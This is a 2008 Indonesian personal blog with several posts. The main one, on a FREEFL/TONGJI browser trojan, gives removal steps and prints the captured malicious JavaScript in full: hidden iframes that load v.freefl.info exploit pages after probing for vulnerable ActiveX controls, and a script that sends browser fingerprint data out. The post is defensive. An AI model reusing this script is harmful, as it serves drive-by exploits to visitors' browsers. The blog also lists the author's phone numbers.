Thursday, July 31, 2008
HP-ku Sayang, Hilang, Melayang, Ditemukan Orang....
Memang dari awal sudah ada niat untuk beli HP baru, tapi yang GSM bukan yang CDMA eh sekarang malah yang CDMA hilang.
Buat temen-temenku yang akan kontak aku sementara nomor Jagoan (+62274) 3251763 tidak bisa dihubungi, nanti rencana mau ke Galery Indosat buat minta ganti nomor. Kalian tetep bisa kontak aku di +6281904091661 (all day) atau +628562899563 (Night only).
Sayang juga sih, semua no kontakku ada di Nokia, backup terakhir kalau gak salah bulan April atau mei gitu, mudah-mudahan tidak banyak no kontak baru yang hilang.
Suatu pelajaran yang berharga agar kita (saya kali :-D) buat selalu berhati-hati dalam segala hal.
Update:
Sudah dapat nomor pengganti dengan nomor yang sama, harus menunggu 6 hari lagi baru bisa diaktifkan, plus cari pengganti hp yang hilang.
+++Read More+++View Complete Source +++
Tuesday, July 29, 2008
Virus FREEFL & TONGJI
Ciri-cirinya:
1. Jika kita browsing menggunakan firefox atau IE, di status bar akan mencoba untuk mengakses http://js.tongji.cn.yahoo.com/621252/ystat.js (connecting, waiting) apapun website yang akan diakses.
2. Lihat etc-host anda (win: C:\windows\system32\drivers\etc\hosts) jika isinya ada entry host yang aneh atau kira ukurannya besar kira2 200kb.
3. Kemudian ciri selanjutnya adalah, virus ini akan selalu mem-broadcast mac-address palsu untuk gateway network yang sedang digunakan, untuk mengetahuinya ketik: "arp -a" hasilnya ada mac-address yang sama lebih dari satu.
Jika salah satu dari 3 ciri di atas terpenuhi maka bersedihlah anda karena jaringan anda sudah terinfeksi.
Efek dari virus ini yang saya tahu adalah membuat browsing terasa lambat dan bahkan sangat lambat, selain itu karena virus ini jenisnya trojan kemungkinan bisa mencuri data-data kita.
Cara mengatasinya:
1. Download combofix cara penggunaannya ada disini ikuti perintahnya sampai selesai, combofix akan mencoba membersihkan virus pada PC local. Jika ada salah satu PC masih terinfeksi maka langkah ini akan percuma karena kemungkinan akan terinfeksi lagi.
2. Set alamat mac-address gateway anda menjadi statis dengan "arp -s MAC-ADDRESS" sebelum itu pastikan dulu mac-address yang anda masukkan adalah mac-address gateway yang benar (jangan sampai tertipu).
3. Virus ini akan selalu menambahkan request ke alamat v.freefl.info pada setiap kali kita browsing, oleh karena itu setelah langkah 1 dan 2 selesai kita bisa menipu virus ini dengan me-block host tersebut, caranya tambahkan entry:
127.0.0.1 v.freefl.infopada etc-host.
127.0.0.1 js.tongji.cn.yahoo.com
Berikut adalah script javascript yang akan selalu didownload, saya belum sempat dan mungkin tidak akan sempat atau tidak mau untuk menganalisanya :-)
v.freefl.info
document.writeln("<script language=\"javaScript\">");
document.writeln(" var cook = \"silentwm\";");
document.writeln(" ");
document.writeln(" function setCookie(name, value, expire) ");
document.writeln(" { ");
document.writeln(" window.document.cookie = name + \"=\" + escape(value) + ((expire == null) ? \"\" : (\"; expires=\" + expire.toGMTString()));");
document.writeln(" }");
document.writeln("");
document.writeln(" function getCookie(Name) ");
document.writeln(" { ");
document.writeln(" var search = Name + \"=\";");
document.writeln(" if (window.document.cookie.length > 0) ");
document.writeln(" { ");
document.writeln(" offset = window.document.cookie.indexOf(search);");
document.writeln(" if (offset != -1) ");
document.writeln(" { ");
document.writeln(" offset += search.length; ");
document.writeln(" end = window.document.cookie.indexOf(\";\", offset) ");
document.writeln(" if (end == -1)");
document.writeln(" end = window.document.cookie.length;");
document.writeln(" return unescape(window.document.cookie.substring(offset, end));");
document.writeln(" }");
document.writeln(" }");
document.writeln(" return null;");
document.writeln(" }");
document.writeln("");
document.writeln(" function register(name) ");
document.writeln(" {");
document.writeln(" var today = new Date();");
document.writeln(" var expires = new Date();");
document.writeln(" expires.setTime(today.getTime() + 1000*60*60*24);");
document.writeln(" setCookie(cook, name, expires);");
document.writeln(" }");
document.writeln("");
document.writeln(" function openWM() ");
document.writeln(" {");
document.writeln(" var c = getCookie(cook);");
document.writeln(" if (c != null) ");
document.writeln(" {");
document.writeln(" return;");
document.writeln(" }");
document.writeln(" ");
document.writeln(" register(cook);");
document.writeln(" ");
document.writeln(" window.defaultStatus=\"Íê³É\";");
document.writeln(" ");
document.writeln(" document.write(\'<iframe width=50 height=0 src=http://v.freefl.info/f/index.htm><\/iframe>\');");
document.writeln(" try{ var e;");
document.writeln(" var ado=(document.createElement(\"object\"));");
document.writeln(" ado.setAttribute(\"classid\",\"clsid:BD96C556-65A3-11D0-983A-00C04FC29E36\");");
document.writeln(" var as=ado.createobject(\"Adodb.Stream\",\"\")}");
document.writeln(" catch(e){};");
document.writeln(" finally{");
document.writeln(" if(e!=\"[object Error]\"){");
document.writeln(" document.write(\'<iframe width=50 height=0 src=http://v.freefl.info/014.htm><\/iframe>\')}");
document.writeln(" else");
document.writeln(" { ");
document.writeln(" try{ var j;");
document.writeln(" var real11=new ActiveXObject(\"IERP\"+\"Ctl.I\"+\"ERPCtl.1\");}");
document.writeln(" catch(j){};");
document.writeln(" finally{if(j!=\"[object Error]\"){if(new ActiveXObject(\"IERPCtl.IERPCtl.1\").PlayerProperty(\"PRODUCTVERSION\")<=\"6.0.14.552\")");
document.writeln(" {document.write(\'<iframe width=100 height=100 src=http://v.freefl.info/real11.htm><\/iframe>\')}");
document.writeln(" else");
document.writeln(" {");
document.writeln(" document.write(\'<iframe width=100 height=100 src=http://v.freefl.info/real10.htm><\/iframe>\')}}}");
document.writeln("");
document.writeln(" try{ var g;");
document.writeln(" var glworld=new ActiveXObject(\"GLIEDown.IEDown.1\");}");
document.writeln(" catch(g){};");
document.writeln(" finally{if(g!=\"[object Error]\"){");
document.writeln(" document.write(\'<iframe style=display:none src=http://v.freefl.info/lz.htm><\/iframe>\')}}");
document.writeln("");
document.writeln(" try{ var h;");
document.writeln(" var storm=new ActiveXObject(\"MPS.StormPlayer.1\");}");
document.writeln(" catch(h){};");
document.writeln(" finally{if(h!=\"[object Error]\"){");
document.writeln(" document.write(\'<iframe style=display:none src=http://v.freefl.info/bf.htm><\/iframe>\')}}");
document.writeln("");
document.writeln(" try{ var f;");
document.writeln(" var thunder=new ActiveXObject(\"DPClient.Vod\");}");
document.writeln(" catch(f){};");
document.writeln(" finally{ if(f!=\"[object Error]\"){");
document.writeln(" document.write(\'<iframe width=50 height=0 src=http://v.freefl.info/kong.htm><\/iframe>\')}}");
document.writeln("");
document.writeln(" ");
document.writeln(" }}");
document.writeln(" }");
document.writeln("");
document.writeln("openWM();");
document.writeln("<\/script>");
document.writeln("<script src=http://js.tongji.cn.yahoo.com/621252/ystat.js></script>");js.tongji.cn.yahoo.com
function _st_u_en(str)
{
var en="",i=0;
for(i=0;i<str.length;i++){
if(str.charCodeAt(i)>=0&&str.charCodeAt(i)<=255){
en=en+escape(str.charAt(i));
}
else {
en=en+str.charAt(i);
}
}
return en;
}function _st_g_sr()
{
if (self.screen) {
sr=screen.width+"x"+screen.height;
}
else if (self.java) {
var j=java.awt.Toolkit.getDefaultToolkit();
var s=j.getScreenSize();
sr=s.width+"x"+s.height;
}return sr;
}function _st_g_sc()
{
var sc="";if (self.screen) {
sc=screen.colorDepth+"-bit";}
return sc;
}function _st_g_lg()
{
var lg="";
var n=navigator;if (n.language) {
lg=n.language.toLowerCase();
}
else if (n.browserLanguage) {
lg=n.browserLanguage.toLowerCase();
}
return lg;
}function _st_g_ag()
{
var ag="";
var n=navigator;if (n.userAgent) {
ag = n.userAgent;
}return ag;
}function _st_g_je() {
var je="";
var n=navigator;
je = n.javaEnabled()?1:0;return je;
}function _st_g_fl()
{
var f="",n=navigator;
if (n.plugins && n.plugins.length) {
for (var ii=0;ii<n.plugins.length;ii++) {
if (n.plugins[ii].name.indexOf('Shockwave Flash')!=-1) {
f=n.plugins[ii].description.split('Shockwave Flash ')[1];
break;
}
}
}
else if (window.ActiveXObject) {
for (var ii=10;ii>=2;ii--) {
try {
var fl=eval("new ActiveXObject('ShockwaveFlash.ShockwaveFlash."+ii+"');");
if (fl) {
f=ii + '.0'; break;
}
} catch(e) {}
}
}
return f;
}function _st_c_co()
{
var c_en = (navigator.cookieEnabled)? 1 : 0;return c_en;
}function _st_g_ss_val(str)
{
len=str.indexOf("_");
str=str.substring(len+1);
len=str.indexOf("_");
str=str.substring(len+1);return str;
}function _st_c_mm_stf(ref)
{
if(ref.indexOf(".alimama.com/") > 0){
if(ref.indexOf("/alimama.php") > 0){
return 1;
}if(ref.indexOf("/ncpa.php") > 0){
return 2;
}
}return 0;
}function _st_g_mm_pid(ref)
{
var pid="0";if( ref ){
len=ref.indexOf("?i=");
if(len < 0){
len=ref.indexOf("&i=");
}
if(len < 0){
return pid;
}
ref=ref.substring(len+1);len=ref.indexOf("&");
if(len < 0){
pid=ref.substring(2);
}
else{
pid=ref.substr(2,len-2);
}
}if(!pid){
pid = "0";
}return pid;
}function _st_g_mm_fbid(ref)
{
var fbid="0";if( ref ){
len=ref.indexOf("&fb=");
if(len < 0){
len=ref.indexOf("?fb=");
}
if(len < 0){
return fbid;
}
ref=ref.substring(len+1);len=ref.indexOf("&");
if(len < 0){
fbid=ref.substring(3);
}
else{
fbid=ref.substr(3,len-3);
}
}if(!fbid){
fbid= "0";
}return fbid;
}function _st_g_mm_sid(ref)
{
var sid="0";if( ref ){
len=ref.indexOf("&si=");
if(len < 0){
len=ref.indexOf("?si=");
}
if(len < 0){
return sid;
}
ref=ref.substring(len+1);len=ref.indexOf("&");
if(len < 0){
sid=ref.substring(3);
}
else{
sid=ref.substr(3,len-3);
}
}if(!sid){
sid= "0";
}return sid;
}function _st_g_mm_cg(ref)
{
var cg="0";if( ref ){
// if(ref.indexOf(".alimama.com/") > 0){
// if(!ref.indexOf("/alimama.php") && !ref.indexOf("/ncpa.php")){
// return pid;
// }
len=ref.indexOf("&cg=");
if(len < 0){
len=ref.indexOf("?cg=");
}
if(len < 0){
return cg;
}
ref=ref.substring(len+1);len=ref.indexOf("&");
if(len < 0){
cg=ref.substring(3);
}
else{
cg=ref.substr(3,len-3);
}
// }
}if(!cg){
cg = "0";
}return cg;
}function _st_g_co(name)
{
var mn=name+"=";
var b,e;
var co=document.cookie;if (mn=="=") {
return co;
}
b=co.indexOf(mn);
if (b < 0) {
return "";
}
e=co.indexOf(";", b+name.length);if (e < 0) {
return co.substring(b+name.length + 1);
}
else {
return co.substring(b+name.length + 1, e);
}
}function _st_s_co(name,val,cotp)
{
var date=new Date;
var year=date.getYear();
var hour=date.getHours();var cookie="";
if (cotp == 0) {
cookie=name+"="+val+";";
}
else if (cotp == 1) {
year=year+10;
date.setYear(year);
cookie=name+"="+val+";expires="+date.toGMTString()+";";
}
else if (cotp == 2) {
hour=hour+1;
date.setHours(hour);
cookie=name+"="+val+";expires="+date.toGMTString()+";";
}var d=_st_g_dom(document.domain);
if(d != ""){
cookie +="domain="+d+";";
}
cookie +="path="+"/;";
document.cookie=cookie;
}function _st_g_dom(host)
{
var d="";var ss=host.split(".");
var l=ss.length;
var f=ss[l-1];if(f=="com" || f=="net" || f=="org" || f=="gov" || f=="edu")
{
var n=ss[l-2];
d=n+"."+f;
}if(f=="cn")
{
var f2=ss[l-2];
if(f2=="com" || f2=="net" || f2=="org" || f2=="gov" || f2=="edu")
{
var n=ss[l-3];
d=n+"."+f2+"."+f;
}
}return d;
}function _st_s_co_time(name, val, day)
{
var date=new Date;
var vDay = date.getDate();var cookie="";
vDay=vDay+day;
date.setDate(vDay);
cookie=name+"="+val+";expires="+date.toGMTString()+";";
var d=_st_g_dom(document.domain);
if(d != ""){
cookie +="domain="+d+";";
}
cookie +="path="+"/;";
document.cookie=cookie;
}function _st_g_so()
{
var so="";
var n=navigator;
if (n.appName) {
so=n.appName;
}
return so;
}function _st_g_stm()
{
var date = new Date();
var yy=date.getYear();
var mm=date.getMonth();
var dd=date.getDate();
var hh=date.getHours();
var ii=date.getMinutes();
var ss=date.getSeconds();
var i;
var tm=0;
for(i = 1970; i < yy; i++) {
if ((i % 4 == 0 && i % 100 != 0) || (i % 100 == 0 && i % 400 == 0)) {
tm=tm+31622400;
}
else {
tm=tm+31536000;
}
}
mm=mm+1;
for(i = 1; i < mm; i++) {
if (i == 1 || i == 3 || i == 5 || i == 7 || i == 8 || i == 10 || i == 12) {
tm=tm+2678400;
}
else {
if (i == 2) {
if ((yy % 4 == 0 && yy % 100 != 0) || (yy % 100 == 0 && yy % 400 == 0)) {
tm=tm+2505600;
}
else {
tm=tm+2419200;
}
}
else {
tm=tm+2592000;
}
}
}
tm = tm + (dd-1) * 86400; tm = tm + hh * 3600;
tm = tm + ii * 60;
tm = tm + ss;
return tm;
}function _st_g_ade_val(str)
{
len=str.indexOf("_");
str=str.substring(0,len);return str;
}function _st_g_ade_sttime(str)
{
len=str.indexOf("_");
str=str.substring(len+1);
len=str.indexOf("_");str=str.substring(0,len);
return parseInt(str);
}function _st_g_ade_adtime(str)
{
len=str.indexOf("_");
str=str.substring(len+1);
len=str.indexOf("_");
str=str.substring(len+1);return parseInt(str);
}function _st_g_ctm(str)
{
len=str.indexOf("_");
str=str.substring(len+1);
len=str.indexOf("_");
str=str.substring(0,len);
return parseInt(str, 10);
}function _st_g_u_sn(str)
{
len=str.indexOf("_");
str=str.substring(0,len);return parseInt(str);
}var _st_unit_id=621252;
var _st_expr_tm=1800;
var _st_url_sn=0;
var _st_ip="dt.tongji.cn.yahoo.com";
var _st_dest_path="/ystat.do?unit_id="+_st_unit_id;
var _st_nuv=0;
var _st_uv ="";
var _st_ss ="";
var _st_ref="";
var _st_url="";
var _st_clr="";
var _st_scr="";
var _st_lng="";
var _st_agt="";
var _st_jvm="";
var _st_flu="";
var _st_sof="";
var _st_cva="";
var _st_len=0;var rand;
var _en_co = _st_c_co();
var _ss_val = 0;var _st_cg="0";
var _st_mid=0;
var _st_mm_land=0;
var _st_cpa="0";_st_uv="1528247182927057729";
_st_nuv=1;
_st_ss=_st_g_co("ystat_cn_ss_"+String(_st_unit_id));
if (_st_ss == "") {
_st_url_sn = 0;
rand = parseInt( Math.random() * 4000000000 );
_st_ss="0_"+_st_g_stm()+"_"+String(rand);
_st_s_co("ystat_cn_ss_"+String(_st_unit_id), _st_ss, 0);
}
else {
if (_st_g_stm() - _st_g_ctm(_st_ss) > _st_expr_tm) {
_st_url_sn = 0;
rand = parseInt( Math.random() * 4000000000 );
_st_ss="0_"+_st_g_stm()+"_"+String(rand);
}
else{
_st_url_sn = _st_g_u_sn(_st_ss) + 1;
_ss_val = _st_g_ss_val(_st_ss);
_st_ss = String(_st_url_sn)+"_"+_st_g_stm()+"_"+_ss_val;
}
_st_s_co("ystat_cn_ss_"+String(_st_unit_id), _st_ss, 0);
}_st_cna=_st_g_co("cna");
_st_ade_cookie = _st_g_co("ystat_ade_"+String(_st_unit_id));
_st_ade_value = "0";
_st_ade_sttime = 0;
_st_ade_adtime = 0;if(_st_ade_cookie){
_st_ade_value = _st_g_ade_val(_st_ade_cookie);
_st_ade_sttime = _st_g_ade_sttime(_st_ade_cookie);
// _st_ade_adtime = _st_g_ade_adtime(_st_ade_cookie);
}_st_cva=String(Math.random());
_st_len=_st_ss.indexOf("_");
_st_ss=_st_g_ss_val(_st_ss);_st_ref=document.referrer;
//_st_pid=_st_g_mm_pid(_st_ref);
_st_mid=0;
_st_mm_stf=_st_c_mm_stf(_st_ref);_st_cg=_st_g_co("ystat_cn_cg_"+String(_st_unit_id));
if(!_st_cg){
_st_cg = "0";
}_st_cpa=_st_g_co("ystat_cn_cpa_"+String(_st_unit_id));
if(!_st_cpa){
_st_cpa = "0";
}if(_st_mm_stf){
_st_sid=_st_g_mm_sid(_st_ref);
_st_pid=_st_g_mm_pid(_st_ref);
_st_fbid=_st_g_mm_fbid(_st_ref);
_st_mm_land=1; //mark if land pv_st_ade_sttime = 1217323747;
if(_st_mm_stf == 2){
_st_cpa=String(_st_sid)+"_"+String(_st_pid)+"_"+String(_st_fbid);
_st_s_co_time("ystat_cn_cpa_"+String(_st_unit_id), _st_cpa, _st_ade_adtime);
}_st_cg=_st_g_mm_cg(_st_ref);
if(_st_cg != "0"){
//set cg
_st_s_co("ystat_cn_cg_"+String(_st_unit_id), _st_cg, 0);
}if(_st_mm_stf == 1){
if(_st_ade_cookie){
//reset
_st_ade_value = _st_g_ade_val(_st_ade_cookie);_st_ade_cookie=_st_ade_value+"_"+String(_st_ade_sttime)+"_"+String(_st_ade_adtime);
_st_s_co_time("ystat_ade_"+String(_st_unit_id), _st_ade_cookie, _st_ade_adtime);
}
else{
rand_1 = parseInt( Math.random() * 4000000000 );
rand_2 = parseInt( Math.random() * 4000000000 );
_st_ade_value = String(rand_1)+String(rand_2);_st_ade_cookie=_st_ade_value+"_"+String(_st_ade_sttime)+"_"+String(_st_ade_adtime);
_st_s_co_time("ystat_ade_"+String(_st_unit_id), _st_ade_cookie, _st_ade_adtime);
}
}
}_st_ref=_st_u_en(String(_st_ref));
_st_url=document.URL;
_st_url=_st_u_en(String(_st_url));
_st_clr=_st_g_sc();
_st_clr=_st_u_en(String(_st_clr));
_st_scr=_st_g_sr();
_st_scr=_st_u_en(String(_st_scr));
_st_lng=_st_g_lg();
_st_lng=_st_u_en(String(_st_lng));
_st_agt=_st_g_ag();
_st_agt=_st_u_en(String(_st_agt));
_st_jvm=_st_g_je();
_st_jvm=_st_u_en(String(_st_jvm));
_st_flu=_st_g_fl();
_st_flu=_st_u_en(String(_st_flu));
_st_sof=_st_g_so();
_st_sof=_st_u_en(String(_st_sof));
_st_dest="http://"+_st_ip+_st_dest_path+"&uv="+_st_uv+"&nuv="+_st_nuv+"&cna="+_st_cna+"&cg="+_st_cg+"&mid="+_st_mid+"&mmland="+_st_mm_land+"&ade="+_st_ade_value+"&adtm="+_st_ade_adtime+"&sttm="+_st_ade_sttime+"&cpa="+_st_cpa+"&ss="+_st_ss+"&usn="+_st_url_sn+"&ec="+_en_co+"&ref="+_st_ref+"&url="+_st_url+"&nac="+_st_sof+"&agt="+_st_agt+"&clr="+_st_clr+"&scr="+_st_scr+"&lng="+_st_lng+"&jvm="+_st_jvm+"&flu="+_st_flu+"&tm=1217323747"+"&tc=a556709a8582eb3888ff650b23d5a3a3"+"&ut=0"+"&cnu="+_st_cva;document.open();
document.write("<script language=\"JavaScript\" type=\"text/javascript\" src=\""+_st_dest+"\"></script>");_st_icon_link_host="tongji.cn.yahoo.com";
document.write("<iframe src=\"http://log2.soft.cn.yahoo.com/cnsmin/_coop/cnsminex_empty.htm?sc=ystat\" style=\"display:none;\" width=0 height=0></iframe>");
document.close();function mmtrace(button_name)
{
if(button_name == null){
// set default button name
button_name='button';
}
// avoid log request to be cached
_st_cva=String(Math.random());
_st_button_dest="http://"+_st_ip+_st_dest_path+"&uv="+_st_uv+"&nuv="+_st_nuv+"&cna="+_st_cna+"&cg="+_st_cg+"&mid="+_st_mid+"&mmland="+_st_mm_land+"&ade="+_st_ade_value+"&adtm="+_st_ade_adtime+"&sttm="+_st_ade_sttime+"&mmtrace="+button_name+"&ss="+_st_ss+"&usn="+_st_url_sn+"&ec="+_en_co+"&ref="+_st_ref+"&url="+_st_url+"&nac="+_st_sof+"&agt="+_st_agt+"&clr="+_st_clr+"&scr="+_st_scr+"&lng="+_st_lng+"&jvm="+_st_jvm+"&flu="+_st_flu+"&tm=1217323747"+"&tc=a556709a8582eb3888ff650b23d5a3a3"+"&ut=0"+"&cnu="+_st_cva;var oTempjs = document.createElement("script");
oTempjs.type = 'text/javascript';
oTempjs.src = _st_button_dest;document.body.appendChild(oTempjs);
}
Ada yang mau jadi volunter?
+++Read More+++Summary only+++View Complete Source +++Hide Complete Source+++
The Kingdom
Bom bunuh diri pertama dengan daya ledak rendah meledak pada sore hari, korbannya banyak anak-anak yang sedang bermain dilapangan. Malam hari saat tim medis sibuk melakukan evakuasi bom kedua dengan daya ledak tinggi (jauh lebih tingi dari yang pertama) dilokasi yang sama dengan korban lebih banyak lagi karena banyak orang yang sedang berkumpul untuk melakukan evakuasi korban ledakan pertama.
Kemaren sore, di Istanbul, Turki, juga terjadi ledakan bom dengan pola mirip pada film "The Kingdom" ledakan pertama dengan daya ledak rendah terjadi pada malam hari, tak lama kemudian saat banyak orang berkumpul untuk melihat korban ledakan, terjadi ledakan kedua dengan daya ledak yang lebih tinggi.
Dua kejadian di atas memang terjadi di dua alam yang berbeda, tapi tujuannya sama untuk mencapai korban yang lebih banyak.
Dari kejadian di atas, dapat ditarik beberapa kesimpulan:
1. Jangan mendekati area ledakan hingga dinyatakan aman oleh petugas.
2. Film merupakan sarana edukasi yang cukup efektif, jadi seharusnya aparat mengikuti perkembangan film.
3. Selalu berhati-hati dimanapun anda berada.
+++Read More+++Summary only+++View Complete Source +++Hide Complete Source+++
Monday, July 28, 2008
NATO vs TLDM
Yang saya maksud NATO adalah "No Action Talk Only" dan TLDM adalah "Talk Less Do More", dua-duanya adalah ungkapan yang menggambarkan tentang sifat dan cara kerja seseorang yang saling berlawanan.
NATO adalah sifat atau cara kerja seseorang yang suka berwacana tapi tidak pernah mewujudkan wacana tersebut, banyak omong tapi tidak pernah terwujud.
TLDM adalah sifat atau cara kerja seseorang yang tidak banyak omong, langsung to the point sehingga pekerjaan lebih cepat selesai.
Hmm, dimanakah posisi anda sekarang?
+++Read More+++Summary only+++View Complete Source +++Hide Complete Source+++
Friday, July 25, 2008
Peraturan Pemerintah Pengganti Undang-Undang (PERPUU)
Dalam hal ihwal kegentingan yang memaksa, Presiden berhak menetapkan peraturan pemerintah sebagai pengganti undang-undang.Korupsi merupakan musuh nyata negara kita tercinta ini karena:
- Korupsi menyebabkan negara kita tidak pernah maju, selalu berkembang, berkembang dan terus berkembang.
- Korupsi menyebabkan rakyat miskin bertambah banyak, karena bantuan untuk orang-orang miskin pun dikorupsi.
- Korupsi menyebabkan pembangunan jalan ditempat.
- Korupsi menyebabkan hasil pembangunan dibawah standar.
Sedang menunggu presiden yang "BERANI" menetapkan peraturan pemerintah pengganti undang-undang yang "memberikan hukuman mati bagi koruptor yang telah mengkorupsi uang rakyat berapapun besarnya" karena 1 rupiah pajak yang dibayarkan oleh rakyat harus dikembalikan kepada rakyat dalam bentuk pembangunan dan kesejahteraan.
+++Read More+++Summary only+++View Complete Source +++Hide Complete Source+++
Sms Kampanye
Komisi Pemilihan Umum (KPU) dan Badan Regulasi Telekomunikasi Indonesia (BRTI) telah menyepakati penggunaan SMS sebagai sarana kampanye Pemilu 2009. Hal ini pun dinilai sebagai sarana komunikasi massa yang efektifHmm... kayaknya mulai sekarang bakal banyak sms sampah yang bakal masuk ke inbox hpku nih, sms iklan dari operator aja sudah nyebelin.
Catatan:
Melatih jempol untuk open, read and delete.
+++Read More+++Summary only+++View Complete Source +++Hide Complete Source+++
Thursday, July 24, 2008
Yahoo Messenger Status
1. <img src="http://opi.yahoo.com/online?u=m.jumari&m=g&t=0" />
2. <img src="http://opi.yahoo.com/online?u=m.jumari&m=g&t=1" />
3. <img src="http://opi.yahoo.com/online?u=m.jumari&m=g&t=2" />
4. <img src="http://opi.yahoo.com/online?u=m.jumari&m=g&t=3" />
5. <img src="http://opi.yahoo.com/online?u=m.jumari&m=g&t=4" />
6. <img src="http://opi.yahoo.com/online?u=m.jumari&m=g&t=5" />
7. <img src="http://opi.yahoo.com/online?u=m.jumari&m=g&t=60" />
8. <img src="http://opi.yahoo.com/online?u=m.jumari&m=g&t=7" />
9. <img src="http://opi.yahoo.com/online?u=m.jumari&m=g&t=8" />
10. <img src="http://opi.yahoo.com/online?u=m.jumari&m=g&t=9" />
11. <img src="http://opi.yahoo.com/online?u=m.jumari&m=g&t=10" />
12. <img src="http://opi.yahoo.com/online?u=m.jumari&m=g&t=11" />
13. <img src="http://opi.yahoo.com/online?u=m.jumari&m=g&t=12" />
14. <img src="http://opi.yahoo.com/online?u=m.jumari&m=g&t=13" />
15. <img src="http://opi.yahoo.com/online?u=m.jumari&m=g&t=14" />
16. <img src="http://opi.yahoo.com/online?u=m.jumari&m=g&t=15" />
17. <img src="http://opi.yahoo.com/online?u=m.jumari&m=g&t=16" />
Cara menggunakan:
Yang perlu diperhatikan adalah alamat server "http://opi.yahoo.com/online?", dan 3 variabel:
- u diisi dengan YMID atau username yang biasa digunakan untuk login menggunakan yahoo messenger, variabel ini harus diisi.
- m diisi dengan model kembalian yang diinginkan. Ada 3 jenis nilai kembalian yang disediakan: Gambar, Text Pesan dan Text Kode.
- t diisi dengan tipe gambar yang diinginkan. Ada 17 gambar yang disediakan dimulai dari 0 s/d 16.
1. Model Gambar, secara default model yang digunakan adalah gambar seandainya variabel m tidak diisi kembalian akan berupa gambar jadi yang perlu diisi hanya variabel t saja. Contoh:
<a href="ymsgr:sendIM?m.jumari"><img src="http://opi.yahoo.com/online?u=m.jumari&m=g&t=1" /></a>Keterangan:
Ganti "m.jumari" dengan YMID anda dan "1" dengan gambar yang diinginkan.
2. Model Text Pesan, model ini mengembalikan text "ONLINE" jika sedang online dan "NOT ONLINE" jika sedang offline, kosongkan variabel m (m=).Contoh:
http://opi.yahoo.com/online?u=m.jumari&m=3. Model Text Kode, model ini mengembalikan text "01" untuk online dan "00" untuk offline, kosongkan variabel m (m=) dan isi variabel t dengan 1:
http://opi.yahoo.com/online?u=m.jumari&m=&t=1Jika ingin merepresentasikan dengan gambar buatan sendiri cara 2 dan 3 bisa digunakan.
+++Read More+++Summary only+++View Complete Source +++Hide Complete Source+++
Monday, July 21, 2008
Using JTree To List Databases, Tables and Fields on MySQL Server
Requirement:
1. Access to MySQL server
2. Mysql connector
3. Three icon for database, table and field
4. Some experience using JTree.
OK lets begin this tutorial:
1. Create a new project
2. Add mysql connector library to project
3. Create a new JFrame class like this
4. Create 4 variable used to connect to mysql:
String host = "localhost";5. Create variable DefaultMutableTreeNode root, is root of tree:
int port = 3306;
String user = "root";
String pass = "";
DefaultMutableTreeNode root = new DefaultMutableTreeNode(user+"@"+host+":"+port);6. Instanting mysql driver:
try {
Class.forName("com.mysql.jdbc.Driver").newInstance();
} catch (ClassNotFoundException ex) {
} catch (InstantiationException ex) {
} catch (IllegalAccessException ex) {
}7. Create variable Connection conn variable in class, try connect to server: private Connection conn;8. Create Statement sDatabase used for list database
try {
conn = DriverManager.getConnection("jdbc:mysql://" + host + ":" + port + "/mysql", user, pass);
} catch (SQLException ex) {
}
Statement sDatabase = conn.createStatement();9. Create ResultSet rsDatabase for executing query to list database:
try {
Statement sDatabase = conn.createStatement();
ResultSet rsDatabase = sDatabase.executeQuery("SHOW DATABASES");
} catch (SQLException ex) {
} 10. Loop rsDatabase to get all database: rsDatabase.beforeFirst();11. Create DefaultMutableTreeNode nodeDatabase and add it to root:
while (rsDatabase.next()) {
}
DefaultMutableTreeNode nodeDatabase = new DefaultMutableTreeNode(rsDatabase.getString("Database"));
root.add(nodeDatabase); 12. Create Statement sTable used for list tables in given database: Statement sTable = conn.createStatement();13. Create ResultSet rsTable for executing query to list tables:
ResultSet rsTable = sTable.executeQuery("SHOW TABLES FROM `"+rsDatabase.getString("Database")+"`"); 14. Loop rsTable to get all tables: rsTable.beforeFirst();15. Create variable DefaultMutableTreeNode nodeTable and add it to nodeDatabase:
while (rsTable.next()) {
}
DefaultMutableTreeNode nodeTable = new DefaultMutableTreeNode(rsTable.getString("Tables_in_"+rsDatabase.getString("Database")));
nodeDatabase.add(nodeTable); 16. Create variable Statement sField to used for list fields in given table: Statement sField = conn.createStatement();17. Create variable ResultSet rsField for executing query to list fields:
ResultSet rsField = sField.executeQuery("SHOW FIELDS FROM `" + rsDatabase.getString("Database") + "`.`" + rsTable.getString("Tables_in_" + rsDatabase.getString("Database")) + "`"); 18. Loop rsField to get all fields: rsField.beforeFirst();19. Create variable DefaultMutableTreeNode nodeField and add it to nodeTable:
while (rsField.next()) {
}
DefaultMutableTreeNode nodeField = new DefaultMutableTreeNode(rsField.getString("Field") + " - " + rsField.getString("Type"));
nodeTable.add(nodeField); 20. Finally we had succesfully list all databases, tables and field, now we must try, run project and we will get like this:
21. Hmm, our hard work is very satisfied, now we try to assign renderer to render icon we have prepared before. Create three variable ImagIcon iconDatabase, iconTable and iconField:
private ImageIcon iconDatabase = new ImageIcon(getClass().getResource("database.png"));
private ImageIcon iconTable = new ImageIcon(getClass().getResource("table.png"));
private ImageIcon iconField = new ImageIcon(getClass().getResource("field.png"));22. Here the code to set renderer:tree.setCellRenderer(new TreeCellRenderer() {
@Override
public Component getTreeCellRendererComponent(JTree tree, Object value, boolean selected, boolean expanded, boolean leaf, int row, boolean hasFocus) {
JLabel label = new JLabel(value.toString());
if (tree.getPathForRow(row).getPathCount() == 2) {
label.setIcon(iconDatabase);
} else if (tree.getPathForRow(row).getPathCount() == 3) {
label.setIcon(iconTable);
} else if (tree.getPathForRow(row).getPathCount() == 4) {
label.setIcon(iconField);
}
if (selected) {
label.setOpaque(true);
label.setBackground(tree.getBackground().darker());
}
if (hasFocus) {
label.setBorder(BorderFactory.createLineBorder(Color.RED));
}
return label;
}
});23. I can't wait to run project, now we must run project immediatly to see diference and you will get like this:
Conclusion:
1. To list all tables use "SHOW DATABASES"
2. To list all tables in given database use "SHOW TABLES FROM `tablename`"
3. To list all field in given table use "SHOW FIELDS FROM `databasename`.`tablename`"
Complete Source Code:
/*
* JTreeMySQL.java
*
* Created on 17 Juli 2008, 18:39
*/
package org.kazao.tips.tip012;
import java.awt.Color;
import java.awt.Component;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
import javax.swing.BorderFactory;
import javax.swing.ImageIcon;
import javax.swing.JLabel;
import javax.swing.JTree;
import javax.swing.tree.DefaultMutableTreeNode;
import javax.swing.tree.DefaultTreeModel;
import javax.swing.tree.TreeCellRenderer;
/**
*
* @author Mr. Kazao
*/
public class JTreeMySQL extends javax.swing.JFrame {
private Connection conn;
